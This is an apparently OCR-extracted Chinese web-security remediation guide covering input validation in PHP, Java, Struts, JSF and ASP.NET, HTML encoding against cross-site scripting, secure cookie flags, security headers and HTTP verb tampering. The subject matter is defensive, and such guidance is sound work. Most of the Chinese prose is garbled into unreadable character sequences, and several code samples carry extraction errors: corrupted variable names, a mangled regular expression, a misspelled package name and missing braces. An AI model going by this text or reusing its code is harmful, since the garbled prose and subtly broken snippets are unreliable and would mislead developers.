http://ca3.php.net/mysql_real_escape_string
http://ca.php.net/mysql_escape_string
http://ca.php.net/addslashes
http://pear.php.net/package-info.php?package=DB

I NEARIE: BRI IR S i 2 SRR IR, (EA LR AT IR S4B EPAT R IR . & g
AR i %4, RONREIGIET % 5 %6, i, @id4kH Javascript.

— U UF IR T B Web N REFHEZE, DRSS aeim s AR HIRE, MMIGAELL FAZ: [1] B B2 7B
BARRA (GEEOLT, BTE HTTP iERSEAE F/R R [3] ZBKE[4] FBaH[5] FBEmi[6] 7Bk (7]
cookie A[8] HTTP i 3 4 FI i & SEEL— A 2 N ISIE AN AT S E R E . DU 3 i id — LeAG A R il .

[1] BT FERGEEFEANRST, HFAEEKEBERTER, NMFETEMGER S 58I 0 B R G):

// PHP example to validate required fields
function validateRequired ($input) {

Spass = false;

if (strlen(trim($input))>0) {
Spass = true;

}

return $pass;
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http://java.sun.com/j2se/1.3/docs/api/
http://java.sun.com/j2se/1.4/docs/api/
http://java.sun.com/products/servlet/2.3/javadoc/
http://jakarta.apache.org/regexp/
http://jakarta.apache.org/commons/validator/
http://java.sun.com/j2ee/javaserverfaces/
http://ca3.php.net/mysql_real_escape_string
http://ca.php.net/mysql_escape_string
http://ca.php.net/addslashes
http://pear.php.net/package-info.php?package=DB

if (validateRequired($fieldName)) {
// fieldName is valid, continue processing request

}

[2] %I\ [¥] Web LT o (1) 7 B Bm 5 MM N S50/ . B0, B HTTP 3k S50 cookie 18 2RI # J&“ 4%
B, FFRFEATTRAIEM A PSR REE R IER . [3] FRKE G HMASE (HTTP ERS45 cookie ) HH
AN B RN Bl R FE B o [4] B R

IR AR RTINS EUETE D RE RF 3R € LI A

[5] Bk I Web N HFE 5 2 v - Son— AT LUE B REDT (Flin, I SELECT HTML #xid) , {EAREPAT
JIR 45 20t B0 AIE AR A 2 B b — A VIR . 530, BRE P RER SBEUE TR ITE . IhR4 T IhRE S
KRB U 32 SOV 3R TR SR 96 UE 38 5 I P . [6] Bt

LA P NS B IhRE T R E AR B ULHL . #ldn, iR userName FEUNAN RV FRE T 745, HARKX S

KNG, BAEMHEH LT ENFRIER: Ma-zA-Z0-9]+$

[7] cookie 1&

i HF cookie {H AR FE MG Can AT BURFR AT R (EIELHE. BIEKES)

[8] HTTP ma S2[8-1] it yik FH P i N ZEAR I . FH AR 7 o T8 5 ol i A S 11 () ek, 85 7 368 3 4 BB 7 1 J i R O 2
H)F SRR HTML, X8R HTML BUR T <>""% ;) (& +

PHP 8 — 158 [ 204035 2 52 2P sk 4L, 0 htmlentities():

Sinput = htmlentities($input, ENT_QUOTES, 'UTF-8');

BBAh, D 7 G i kIS G 1)) UTF-7 22k, B RZ 2 205E W R2F) Content-Type Sk, f140:

<?php
header ('Content-Type: text/html; charset=UTF-8');

?>

[8-2] f&# cookie

£ cookie H17-fit BUBEYE HiBIT SSL RAEHIAT, MRS/ HTTP W & E cookie (% 4tridi. XK EHRNHE
PAGER SSL E kAl % cookie.

N TR cookie, AT LMEH DL ARG R B -

<$php
Svalue = "some_value";
Stime = time ()+3600;
Spath = "/application/";
$domain = ".example.com";

$secure = 1;

setcookie ("CookieName", $value, $time, $path, $domain, S$secure, TRUE);
?>
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UEAh, FRATEWEEH] HitpOnly #x& . 24 HttpOnly b &R &y TRUE I, A ggilid HTTP Bk viin cookie. 1X
MRETTEHIAES (W JavaScript) K11 cookie. % B A Bt B/ @i XSS Bk # F & TSI (5
IRIFAEPTA W R AR S R IZ R ED ©

£ PHP 5.2.0 #1307 HttpOnly #ri&.

SUHNT AL HTTP % cookie ki 5 il s I A 4 ] ) 5 1«
http://msdn2.microsoft.com/en-us/library/ms533046.aspx

[2] PHP %4143

http://phpsec.org/

[3] PHP F1 Web R HFE/7 %418 % (Chris Shiflett) :

http://shiflett.org/

o RIBEURME RN, MHZ&EM SSL A1 POST (Efk) 24,

ZAE BRI ] RS

. DRENBTIR

g

4l

—
1. BRI i SRR LU & 5 R IE IR 5545 -
2. WEHHRBUEAE R, flan:

- P4

- A IR S
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i Configure your server to allow only required HTTP methods TOC

ZAE BRI ] RS

= Authentication Bypass Using HTTP Verb Tampering

—
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If you use HTTP Method based access control, configure your web server to allow only required HTTP methods.
Make sure that the configuration indeed limits the non-listed methods:
In Apache .htaccess file: avoid using the problematic "LIMIT" directive. Use "LimitExcept" directive instead.

In JAVA EE: avoid using the <http-method> elements in access control policy.
In ASP.NET Authorization: use <deny verbs="*" users="*" /> after allowing a white list of required verbs.

i B JEE NS IERRRSTE

ZAE SBR[ SR

n SRR IR R

—fi
BHLLE P 3% 23R IR A RE ) o 15209 32 40 B i it FH P B0 SR 2 3R A A0 250 AR IR s SR 2 2E BB 21 LA IE A P 8 R shil
WEEE. AXHHPS lﬁﬁﬂzmﬁﬁ%ﬁﬁfﬂﬁ EFRH. W T AL 1EFRH cookie AL BB T & (lin

ASP) , EFIFHBL cookie. FEiZJTiEF, HFH Y 2E EAHBY cookie B ABENUE, IFBSIRA R E MM
fli. RSB cookie MAILED, HEMRSIE, FEomHH - HREs.

Config your server to use the "Content-Security-Policy" header

ZAEFIE R [ SR

= Missing "Content-Security-Policy" header

— 1t

Configure your server to send the "Content-Security-Policy" header.

For Apache, see:

http://httpd.apache.org/docs/2.2/mod/mod_headers.html

For IIS, see:
https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx
For nginx, see:
http://nginx.org/en/docs/http/ngx_http_headers_module.html
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Config your server to use the "X-Content-Type-Options" header

AR ST B R 1] ST

= Missing "X-Content-Type-Options" header

— M

Configure your server to send the "X-Content-Type-Options" header with value "nosniff" on all outgoing requests.

For Apache, see:
http://httpd.apache.org/docs/2.2/mod/mod_headers.html

For IIS, see:
https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx
For nginx, see:
http://nginx.org/en/docs/http/ngx_http_headers_module.html

Config your server to use the "X-XSS-Protection" header

AR ST B R 1] ST

= Missing "X-XSS-Protection" header

— M

Configure your server to send the "X-XSS-Protection" header with value "1" (i.e. Enabled) on all outgoing requests.

For Apache, see:
http://httpd.apache.org/docs/2.2/mod/mod_headers.html

For IIS, see:
https://technet.microsoft.com/pl-pl/library/cc753133%28v=ws.10%29.aspx
For nginx, see:
http://nginx.org/en/docs/http/ngx_http_headers_module.html

FR2 HTML 7R P (1 BUAE B
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[1] 21 HTML JER b i BT TG B (WS B a) .
[2] WA=k SR AR B 22 LARG (BRR) b BRI S B .

[3] G HTML JE R i B U B o

[4] Hafft HTML 1A 38 P AR Fr B

[5] HafRAR 7 A 8t B S .

B 25 HE UL H 3 P K TH A SCA:

ZAE SBR[ SR
o RARICHE R

w IR SR A RA
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— R
VRS SCPE T 4

TGP S BARFRAAFTRAE BT Web JIR95 8 H sk 2 o RS, TR ARG SO AR AR 2 4k 1 IR, (ERE
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R EIBEERC AV S

TE VISR 25 FIRCASTE AR KA. Web IRZS 3R B R . MR ML, Y53k SN, 505 S0 s e 3h 3 AR B
%Ejﬁggi EEFiZ/l\ B hgm o, RIGERESCERRE (B DD BERE H . S, EEARERT, RE
SEBRTE O30

I B SCA T 4%
TIPS I AR FEFAFRRAS RS FE R UL Web IR 35 3R H 2 R o IXIE W AR 4R 4% i S AR X L8 SO P 2 B .

S, TR R, TR SRR S s i B RESUR F SR UM H 3 XA H o g scrR, SRR B RS S (51
D PR E . PR, ERURERT, R EPREMH R,

¥ “autocomplete” & M IEff 15 B N “off”
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ZAE SBR[ SR

n  HEPRE R E T B HTML J& 74

— &

R input’ 7t & ) “password” 7 B h ik Sk “autocomplete” @ P, & HEAT IR N4 HA% B N off .
Ltk autocomplete” & 1% B A on”, 1% H B A of .

Ban: 552 Wik

<form action="AppScan.html" method="get">
Username: <input type="text" name="firstname" /><br />
Password: <input type="password" name="lastname" />
<input type="submit" value="Submit" />

<form>

AR 7 S Wi vl s

<form action="AppScan.html" method="get">
Username: <input type="text" name="firstname" /><br />
Password: <input type="password" name="lastname" autocomplete="off"/>
<input type="submit" value="Submit" />

<form>

R 38 24 BN ) 1) B A A

ZAEFIE R [ SR

w BB A B U

— M
ARG IR ARV R A, OB m] R 2 A T 3R BURF VU o
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AR IE R ] FSE A

. EHBEENEGSH

—fl
FEOHOGH N g R LAZE X i R 8 i Y POST S8 4b 3

KAE S B R SERAHEEASRA N . A2 R s AR E B AT

ZAE BRI ] FS A

o NFERREIR

—

MIAENRTER, LTI A BOHRSEAE R G, SRR, KRESREIREE, S HREE.
%ﬂiﬁ{g&%%ﬁ%)\%éHﬂﬁ&‘k?%‘éﬂﬁi (s> o P, MRS TH (GWiSN %000  $55, 515
S NE] o

[3] A ORELRF 5 FUYI AR AL . SRS AR e U S MO AT R e SR 5 h O, IS 232 S R e A DR LB U
WsE| Tz e, i, WRNATEFBIEAE 10..99 VEE W, ARz RZERSO2 8T, HAE 10,99 WEEN .
[4] S5 e A2 1w T PRI B P i KSR A

[5] 20 £ A = A vt R R T B

Net
EAE ASP.NET 21, 1548 web.config X, A& LLTEM:
<compilation
debug="false"
/>

FIREUE £15 H, {52 #“HOW TO: Disable Debugging for ASP.NET Applications”, 7 &1 :
http://support.microsoft.com/default.aspx?scid=kb;en-us;815157

TR DUE SRS R, B NS IR IN 2 Web R TUTH o« SRR AL 1 BT o WAR L A bR S0 E ¥ 5 FA B
(Bt RIEUE H R B AR, BESIEE R SAETERE N BUREEAT E I SIUERI 775, BEAh, SRR IE A RE

5 58 B E i 1) I P R A R (s BT e IRUEFEA AT FAIC Web 28 507 BT I #9280 rh b B AT T d A A, e B

HTML 1 Web JIg %5 #5214

%Eﬁ%?ﬁ;ﬁ?%%%ﬁ%ﬂﬁﬁ?%ﬂ?*, i1 H] "RequiredFieldValidator" k4= . 4= Fifi R A= Bkid web &
AR AR H o

F R A N R S AR, T DU DA SR i i —Fh

[;] “RangeValidator”: fr& A% H () REEREN L TFRRZM . BT ERSHer. FRE A BN e
[l o

[2] “RegularExpressionValidator”: #& 2 2% H /&5 -5 IE N ZRIA 2w SRR AHITED . 16270 1) 56 41F o 45 e s A 25 T 70 AL
KT Fs, iSRS 5. Erip bl EIE5 . IRER AL 7 5.

HEFBEE: BFE A S P A NS Ui AR AR AR SR B RIRE, IFAEREE. B Rm
RS2, TEPATHE— PR RRE PR e e wT, DA RS

B IR 7 VR AT R A P NI R

1. RCH AR BOIRAS
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FERERARES T, ML ) IsValid R . 2@ P 2ofs Tl BT A e R IsValid R EC A (2% AND) .
AR SR L — NIRRT BB N TERL, T4 TS PR 2 7] false
2. RSB R AR -

ﬁﬁﬁﬁ‘]“%iﬁ%ﬁ”%%ﬂfﬁ)ﬁ%, RS OEN ARSI M. A5, BT UG A s HE ) IsValid J&

J2EE

I NEARIUE: BRI R  uwE SRAEER IR, (EAL e Serviet FEARSS AR E L HATEIRIE
BRI S A T4, BORERIGIE Al g geid, flin, J@id2EH Javascript.
*1%&?@%%@%“%5% Web BHFEFHESL, DUERMLIRS d5un SRR P HIFE, MMISIE AT 4

[1] W7 7B

[2] FEEHERT GREBOLT, BTA HTTP RS EEE“F/ 8™

[3] FELK

[4] FEx

[5] T Bk 1l

[6] FBh

[7] cookie 1H

[8] HTTP miy

U 2R DL R R A IR A" SE AR P R RS 5 RSB DU R A iR B e 2 2R 1 — AN il
(] LHFFEMAREFZBEANDT, HFARKEERTE, MIETEMETNSE.

LB AN S S N R

// Java example to validate required fields
public Class Validator {

public static boolean validateRequired(String value) {
boolean isFieldValid = false;
if (value != null && value.trim() .length() > 0) {
isFieldvalid = true;
}

return isFieldvalid;

}

String fieldValue = request.getParameter ("fieldName") ;
if (Validator.validateRequired(fieldvalue)) {
// fieldvValue is valid, continue processing request

[2] f N1 Web SRR Hh i) 7 BOEOE 8 BRI N S HUR (. i, T HT TP 18 3R 24081 cookie {H I Y # 7 4F
B JFRHE M TURER A SRR T IEH . T Java EARGEREF I, RS AR T T 7 B 2 A M L 4o BT
BAEKCT- 7B (Gnt KD 1977 3R 7R 6l

// Java example to validate that a field is an int number
public Class Validator ({

public static boolean validatelInt (String value) {
boolean isFieldvValid = false;
try {
Integer.parselnt (value);
isFieldvalid = true;
} catch (Exception e) {
isFieldvalid = false;
}
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return isFieldvalid;

}

// check if the HTTP request parameter is of type int
String fieldValue = request.getParameter ("fieldName");
if (Validator.validateInt (fieldValue)) {

// fieldValue is valid, continue processing request

U AR T HTTP RS B O LS 0BRSS . i, H5iiE KRS integerValue ™ f7 i (L R g 1,
I CL T 7 Bl Ffr 2 R AR =

// Example to convert the HTTP request parameter to a primitive wrapper data type
// and store this value in a request attribute for further processing
String fieldValue = request.getParameter ("fieldName") ;
if (Validator.validateInt (fieldValue)) {
// convert fieldValue to an Integer
Integer integerValue = Integer.getInteger (fieldvalue);
// store integerValue in a request attribute
request.setAttribute ("fieldName", integerValue);

}

// Use the request attribute for further processing
Integer integerValue = (Integer)request.getAttribute ("fieldName");

B AR R AL R IR 2 Java HdE R
- Byte

- Short

- Integer

- Long

- Float

- Double

- Date

[3] FEK B SAA IS E (HTTP 5k S35 cookie {8) 1 /M EEF/E K ERIBRH] . LU R RBI3IE
userName FE K E R EBTE 8 & 20 NFERFZIA:

// Example to validate the field length
public Class Validator ({

public static boolean validatelLength(String value, int minLength, int maxLength) {
String validatedValue = value;
if (!validateRequired(value)) {
validatedvalue = "";
}
return (validatedValue.length() >= minLength &&
validatedValue.length() <= maxLength);

}
String userName = request.getParameter ("userName") ;
if (Validator.validateRequired (userName)) {

if (Validator.validateLength (userName, 8, 20)) {
// userName is valid, continue further processing

2019/6/24 182



[4] F-Biu
IRAB RN S EURAE D RE R SRk e LHITE R .
DL =5 E % N numberOfChoices /&5 7E 10 & 20 . [f]:

// Example to validate the field range
public Class Validator ({

public static boolean validateRange (int value, int min, int max) {
return (value >= min && value <= max);

}

}

String fieldValue = request.getParameter ("numberOfChoices") ;
if (Validator.validateRequired (fieldvalue)) {
if (Validator.validatelInt (fieldvalue)) {
int numberOfChoices = Integer.parselnt (fieldValue) ;
if (Validator.validateRange (numberOfChoices, 10, 20)) {
// numberOfChoices is valid, continue processing request

[5] FBk I Web N HFE @5 < A A Bn— A g BmE s (Flin, f#H SELECT HTML Fxid) @Kﬁé#ﬁﬁ

JIR 5% s 6 LA DRI 8 OB Herh — DN SRVFRIE DT 5104, BRI R R B B SUE AT B . JRZ 4t Xt hh R
SRAE SR SCVF KR TR E L IO B - LA 7R BB UEF B0 S VR I T8 R HEAT 16 F¢

// Example to validate user selection against a list of options
public Class Validator ({

public static boolean validateOption (Object[] options, Object value) {
boolean isValidValue = false;

try {
List list = Arrays.asList (options);
if (list != null) {

isvalidvalue = list.contains(value);
}
} catch (Exception e) {

}

return isValidValue;

}

// Allowed options
String[] options = {"optionl", "option2", "option3"):;
// Verify that the user selection is one of the allowed options
String userSelection = request.getParameter ("userSelection");
if (Validator.validateOption (options, userSelection)) {

// valid user selection, continue processing request

[6] 7B
IR E R P NS I RE 7R € R BILEE . i, iR userName 7 BUSAX o F 7 BT 745, HAK Y

KNG, IBATEMEH LT IENERILK: Ma-zA-Z0-9]*$
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Java 1.3 Bl H B RANE SEMIENFRIENE. EUE Apache IR iERM GESFHLLFEIED 5 Java1.3 —

AL, DU R Z R = SCRFA ) AL R AT 15 28 SRR (17 151«

// Example to validate that a given value matches a specified pattern
// using the Apache regular expression package

import org.apache.regexp.RE;

import org.apache.regexp.RESyntaxException;

public Class Validator {

public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired (expression)) {
RE r = new RE (expression);
match = r.match (value);
}

return match;

}

// Verify that the userName request parameter is alpha-numeric
String userName = request.getParameter ("userName") ;
if (Validator.matchPattern (userName, ""[a-zA-Z0-9]*$")) {

// userName is valid, continue processing request

Java 1.4 5|t T —FH A IE N FE A (java.util.regex). LAT 246 FH#H Java 1.4 IEM A ALY
Validator.matchPattern &1 i :

[7] cookie 1E1# i javax.servlet.http.Cookie %% KE&E cookie . & T cookie 1 HIAH [F HIEGIERRIN (b Frid) H

// Example to validate that a given value matches a specified pattern
// using the Java 1.4 regular expression package

import java.util.regex.Pattern;

import java.util.regexe.Matcher;

public Class Validator ({

public static boolean matchPattern(String value, String expression) {
boolean match = false;
if (validateRequired (expression)) {
match = Pattern.matches (expression, value);
}

return match;

WTFNHARFFER NIELFEME. BIEKES) .
IF 007 cookie 18 o1 :

2019/6/24

// Example to validate a required cookie value
// First retrieve all available cookies submitted in the HTTP request
Cookie[] cookies = request.getCookies();
if (cookies != null) {
// find the "user" cookie
for (int i=0; i<cookies.length; ++i) {
if (cookies[i].getName () .equals ("user")) {
// validate the cookie value
if (Validator.validateRequired(cookies[i].getValue()) {
// valid cookie value, continue processing request
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[8] HTTP 1
[8-17 LI FH /v N AR 5 RS 7 S W o A A S il A TRy, B K BB P S 40 oy L0 I ) 7 R s Aok
HTML. X452 HTML R 75 <>""%;) (& +

LA 7 A8 38 s o SRR A% e 45 Dy HL s I 4“7 1 S AR I B i 58 AT S

// Example to filter sensitive data to prevent cross-site scripting
public Class Validator ({

public static String filter (String value) {
if (value == null) {
return null;
}
StringBuffer result = new StringBuffer (value.length());
for (int i=0; i<value.length(); ++i) {
switch (value.charAt(i)) {
case '<':
result.append("&lt;");
break;
case '>':
result.append("&gt;") ;
break;
case '""':
result.append("&quot;") ;
break;
case '"\'':
result.append ("&#39;") ;
break;
case '%':
result.append ("&#37;") ;
break;
case ';':
result.append ("&#59;") ;
break;
case '(':
result.append ("&#40;") ;
break;
case ')':
result.append ("&#41;") ;
break;
case '&':
result.append (" &amp; ") ;
break;
case '+':
result.append ("&#43;") ;
break;
default:
result.append(value.charAt (i));
break;
}

return result;
}
// Filter the HTTP response using Validator.filter
PrintWriter out = response.getWriter();
// set output response

out.write(Validator.filter (response));
out.close();

Java Serviet API1 2.3 513t T 888", B SRR EAE S HTTP 1§ R 5imi B
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DL R 4148 Validator filter i H1“Serviet i3 jif 28”7 B 5 «

// Example to filter all sensitive characters in the HTITP response using a Java Filter.
// This example is for illustration purposes since it will filter all content in the response, including

HTML tags!

public class SensitiveCharsFilter implements Filter {

public void doFilter (ServletRequest request,

}

ServletResponse response,
FilterChain chain)
throws IOException, ServletException ({

PrintWriter out = response.getWriter();
ResponseWrapper wrapper = new ResponseWrapper ( (HttpServletResponse) response) ;
chain.doFilter (request, wrapper);

CharArrayWriter caw = new CharArrayWriter();
caw.write(Validator.filter (wrapper.toString()));

response.setContentType ("text/html") ;
response.setContentLength (caw.toString () .length()) ;
out.write (caw.toString());

out.close();

public class CharResponseWrapper extends HttpServletResponseWrapper {

private CharArrayWriter output;

public String toString() {
return output.toString();

}

public CharResponseWrapper (HttpServletResponse response) {
super (response) ;
output = new CharArrayWriter();

}

public PrintWriter getWriter () {
return new PrintWriter (output);

}

[8-2] &4 cookie

7 cookie T EMEHUREIEIT, TR {E T Cookie.setSecure (fi/Kir&) £ HTTP W th % & cookie HIZ4Frid,
F8 S0 U B4 T 2 AW (Bin HTTPS 8( SSL) &i% cookie.

15347 F"cookie 11711 :

// Example to secure a cookie, i.e. instruct the browser to
// send the cookie using a secure protocol

Cookie cookie = new Cookie("user", "sensitive");
cookie.setSecure (true) ;

response.addCookie (cookie) ;

HEFAL 1 JAVA TR T 55 28 i J0iE (1 > 22 Java HESE 2
[1] Jakarta Commons Validator (5 Struts 1.1 #£%) Jakarta Commons Validator SZjiti fT A LA - $ B 0IE T K, A2
FKIAELE o 320k R ) i 28 s SR B B PR S N B UE U ) XML S e ZEBRE TSR, Struts SCRFAEA#
Struts“bean:write” bric 885 1B A 5o b, 1€ [8] HTTP wi v fr ey tH /G B 5455 . ATl i B “filter=false”bx 5ok 4%

Struts & X UL R HEAH NIRRT, AHAH AT 58 SCE ] 1 500E 25 -
required: WURTBEE B USMIEM 7FF, [E5 .
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mask: 1R 5 HERD)E M4 e 1) E RSB AHTE, (82 %3 .

range: WIHMELE min F1 max J& %45 € MEMTEE N ((value >= min) & (value <= max)) , fE& D).
maxLength: WRFEKE/NT BT max B, (8580,

minLength: WERFEAKERTHSET min @M, #58I.

byte. short. integer. long. float. double: 5% Al RAE A AT B FEA A, (B2 B Ih.

date: WIREARAMEAW, EEHTI. TRESRAEH B,

creditCard: WIREF LURA NGRS, #E5mI.

e-mail: WA AT DL A0 s IRk, 3 5 BT

{4 FH“Struts J&1iF 2% K I E loginForm [¥) userName B ({7~ 10l -

<form-validation>
<global>

<validator name="required"
classname="org.apache.struts.validator.FieldChecks"
method="validateRequired"
msg="errors.required">
</validator>
<validator name="mask"
classname="org.apache.struts.validator.FieldChecks"
method="validateMask"
msg="errors.invalid">
</validator>
</global>
<formset>
<form name="loginForm">
<!-- userName is required and is alpha-numeric case insensitive -->
<field property="userName" depends="required,mask">
<!-- message resource key to display if validation fails -->
<msg name="mask" key="login.userName.maskmsg"/>
<arg0 key="login.userName.displayname"/>
<var>
<var-name>mask</var-name>
<var-value>"[a-zA-7Z0-9]*$</var-value>
</var>
</field>

</form>
</formset>
</form-validation>

[2] JavaServer Faces A

“JavaServer Faces HiAR" 2 —HME Ul A, GEAMFRS . LB FHFHANLIER Java APl (JSR 127).
JavaServer Faces AP| SEIL DL R SEAIGIERS, (HW] @ SUERI I IE#S: validate_doublerange: 7EZHfF LyEft
DoubleRangeValidator

validate_length: 7EZH4F iE/)t LengthValidator

validate_longrange: 7EZH{f ¥ LongRangeValidator

validate_required: fEZH{F LM RequiredValidator

validate_stringrange: 7EZH {4 byE/t StringRangeValidator

validator: 7EZLfF i/ il Validator

JavaServer Faces API 52 X LR Ulinput #1 UlOutput 4b3E2% (FRid) -

input_date: #3ZL) java.text.Date Szfi#&% :AL M java.util.Date

output_date: E LA java.text.Date Sz I AL java.util.Date

input_datetime: %3/ java.text.DateTime 24k 1L E) java.util.Date

output_datetime: &7~ LA java.text.DateTime Szfil#% X4k ) java.util.Date

input_number: 27~ java.text.NumberFormat 4% =4k 137 288258 (java.lang.Number B2 A28 7)
output_number: 27~ java.text.NumberFormat 4% =46 1) E7 E#E 2K 8 (java.lang.Number & 4257
input_text: #EZRATLAFEITFH .

output_text: EIREFATIAR TR

input_time: 4%5Z java.text.DateFormat i ] S2451#% 201L 1) java.util.Date

output_time: {73 LL java.text.DateFormat i [A] S45 ¥4 R Ak ¥ java.util. Date
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input_hidden: 7o ¥ S IAF 2 £ DT /B e e AL

input_secret: #ZZAEEMHIPAT R, HERAR, KHERN—HES
input_textarea: %2 LT A

output_errors: W/REANTURE RE S, S5 E R imbs R A B AT iR S
output_label: FiRE A M Bon e B AN ZB IR

output_message: EiRAHILIE S

f§ i JavaServer Faces K3l loginForm () userName F=EL 7~ 11:

<%@ taglib uri="http://java.sun.com/jsf/html" prefix="h" %>
<%@ taglib uri="http://java.sun.com/jsf/core" prefix="f" %>

<jsp:useBean id="UserBean"
class="myApplication.UserBean" scope="session" />
<f:use_faces>
<h:form formName="loginForm" >
<h:input_text id="userName" size="20" modelReference="UserBean.userName">
<f:validate_required/>
<f:validate_length minimum="8" maximum="20"/>
</h:input_text>
<!-- display errors if present -->
<h:output_errors id="loginErrors" clientId="userName"/>
<h:command button id="submit" label="Submit" commandName="submit" /><p>
</h:form>
</f:use_faces>

51

Java API 1.3 -
http://java.sun.com/j2se/1.3/docs/api/

Java APl 1.4 -
http://java.sun.com/j2se/1.4/docs/api/

Java Servlet API 2.3 -
http://java.sun.com/products/serviet/2.3/javadoc/
Java IENFE4 —
http://jakarta.apache.org/regexp/

Jakarta 36 iE#% —
http://jakarta.apache.org/commons/validator/
JavaServer Faces ${ & —
http://java.sun.com/j2ee/javaserverfaces/

RN

YF% J2EE Web N IR 78 R HBAE B AL Bl 5 (MVC) "X fEIZ0H,  Serviet i il 237 (1 i
. Serviet J§ M FIFEFAHZIRY EJB 21F Bean (Bi%) 2 J5ff) JavaBean. X5, Serviet FRK %Ki Kk 4 JSP
?%ﬁ) , IEBUAGEESE R, Serviet MAGTFTA KA il RED, HHRAEASMARR, DRREbrb iz
AT

HRISAE w] Ordr SRR o SR B0, A 28 A 5 A 3 SR U 9 Lk 7 A e A i o P S RV S, (S
HERRERER) FTANTT BRI o I (R R AL HE SR 23 A0 2 DL T

[1] & A%

[2] e iR

[3] EIEE R

[4] iR et

[1] & S %

LG AE N IRE 2 (0 Serviet) R Sw i E R S o A, IFTAR PP S22 M6 Bl S 380 0000 7 PR e i e ) i R
Bl B s RS, BAZER S I B HTML 36 807 B el ot Bean @ VEMSAIERIN . B0, Gk
Feuser_name™ 7B, HWNZANFRET, Ht H W FAEHIEE bR mE— 1, BN E LA T RS-

(a) ERROR_USERNAME_REQUIRED: Z#f %% HH T BnH &, PUBKH - 72 user_name" ¥

(b) ERROR_USERNAME_ALPHANUMERIC: Z#iE#HM T RREE, LU@s - “‘user_name” 7B M iZ & 7 BEL
T

(c) ERROR_USERNAME_DUPLICATE: Z#®% AT BREE, LUBZIA F “user_name™ (B 7E & A EE
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http://java.sun.com/j2se/1.3/docs/api/
http://java.sun.com/j2se/1.4/docs/api/
http://java.sun.com/products/servlet/2.3/javadoc/
http://jakarta.apache.org/regexp/
http://jakarta.apache.org/commons/validator/
http://java.sun.com/j2ee/javaserverfaces/

(d) ERROR_USERNAME_INVALID: Zf % HH TSR —BEE, BUBZIH P “user_name B L3
TR 2 78 SR T A7t AR o5 2 P FR PP 1 LA R AEZE Java 26
- ErrorKeys: & UFTA R %4

// Example: ErrorKeys defining the following error keys:

— ERROR_USERNAME_REQUIRED

- ERROR_USERNAME ALPHANUMERIC
- ERROR_USERNAME DUPLICATE

— ERROR_USERNAME_INVALID

public Class ErrorKeys {

public static final String ERROR_USERNAME REQUIRED = "error.username.required";

public static final String ERROR USERNAME ALPHANUMERIC = "error.username.alphanumeric";
public static final String ERROR_USERNAME DUPLICATE = "error.username.duplicate";
public static final String ERROR USERNAME_ INVALID = "error.username.invalid";

- Error:  FEEAGIE %

// Example: Error encapsulates an error key.
// Error is serializable to support code executing in multiple JVMs.
public Class Error implements Serializable {

// Constructor given a specified error key
public Error (String key) {
this (key, null);

// Constructor given a specified error key and array of placeholder objects
public Error (String key, Object[] values) {

this.key = key;

this.values = values;

// Returns the error key
public String getKey () {
return this.key;

// Returns the placeholder values
public Object[] getValues() {
return this.values;

private String key = null;
private Object[] values = null;

- Errors: #HEIEEHRIIES

2019/6/24

// Example: Errors encapsulates the Error objects being reported to the presentation layer.

// Errors are stored in a HashMap where the key is the bean property name and value is an
// ArraylList of Error objects.
public Class Errors implements Serializable {

// Adds an Error object to the Collection of errors for the specified bean property.
public void addError (String property, Error error) {
Arraylist propertyErrors = (ArraylList)errors.get (property);
if (propertyErrors == null) {
propertyErrors = new ArrayList();
errors.put (property, propertyErrors);
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}
propertyErrors.put (error) ;

}

// Returns true if there are any errors
public boolean hasErrors () {
return (errors.size > 0);

}

// Returns the Errors for the specified property
public ArrayList getErrors (String property) {
return (Arraylist)errors.get (property);

}

private HashMap errors = new HashMap () ;

PLR A8 ] R AE LRk Ab F“user_name” 7 BURIE AR 1 25 1)«

// Example to process validation errors of the "user name" field.

Errors errors = new Errors();

String userName = request.getParameter ("user name");

// (a) Required validation rule

if (!Validator.validateRequired (userName)) {
errors.addError ("user_name", new Error (ErrorKeys.ERROR USERNAME REQUIRED)) ;

} // (b) Alpha-numeric validation rule

else if (!Validator.matchPattern (userName, ""[a-zA-Z0-9]1*S$")) {
errors.addError ("user_name", new Error (ErrorKeys.ERROR USERNAME ALPHANUMERIC)) ;

}

else

{
// (c) Duplicate check validation rule
// We assume that there is an existing UserValidationEJB session bean that implements
// a checkIfDuplicate () method to verify if the user already exists in the database.
try {

if (UserValidationEJB.checkIfDuplicate (userName)) {
errors.addError ("user_name", new Error (ErrorKeys.ERROR USERNAME DUPLICATE)) ;
}
} catch (RemoteException e) {
// log the error
logger.error ("Could not validate user for specified userName: " + userName);
errors.addError ("user_name", new Error (ErrorKeys.ERROR_USERNAME DUPLICATE) ;
}
}
// set the errors object in a request attribute called "errors"
request.setAttribute ("errors", errors);

[2] #5517

B PR AT web J2 N I AR
(a) Servlet £ 1% HLH

(b) JSP #5R L

[2-a] Serviet £ ML

Servlet AJ i@ LR 75 R 5 £t

- BER AN JSP (UK AMRIEMEEE R BT , )
-l HTTP 4524CHS 2 80k H response.sendError, 5§,
- Yl e

U (R0 AL B A B PR PR A IR (n (1] BB i), B ee R s R B, KRB KA JSP.
A JSP B RERRE R, RN P ERASGE . DU o) I R AEm N\ JSP (userlnput.jsp) 7730:
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// Example to forward to the userInput.jsp following user validation errors
RequestDispatcher rd = getServletContext () .getRequestDispatcher ("/user/userInput.jsp");
if (rd != null) {

rd. forward (request, response);
}

Wik Servlet ik K 4h TN JSP T, A4 /Mg H response.sendError J5i%, ¥
HttpServietResponse.SC_INTERNAL_SERVER_ERROR CIRZHH 5000 1E NS4, Kk f4hik. i5SM
javax.servlet.http.HttpServletResponse ] Javadoc, PISKEA Je5Fl HTTP RS M 2 FE4115 2.

iR [E] HTTP 45 i% 17~ -

// Example to return a HTTP error code
RequestDispatcher rd = getServletContext ().getRequestDispatcher ("/user/userInput.jsp");
if (rd == null) {
// messages is a resource bundle with all message keys and values
response.sendError (HttpServletResponse.SC_ INTERNAL SERVER ERROR,
messages.getMessage (ErrorKeys.ERROR_USERNAME INVALID)) ;

Em G IT-BL, Serviet FTLAUH 3, HLiZ 7 L2
ServletException - IOException

[2-b] JSP 4R

JSP U@ & X errorPage thfa & RIEAEHLH], LGS ATI R, WLL Rl iR

Ned

THA 21T - RuntimeException -

<%@ page errorPage="/errors/userValidation.jsp" %>

KA JSP S E L K418 € 1 errorPage, Jf B R 46 7% W B L4 FR 9 javax.servlet.jsp.jspException iE K Z3L
o, FER T A ALEE isErrorPage thig4, WTFFR:

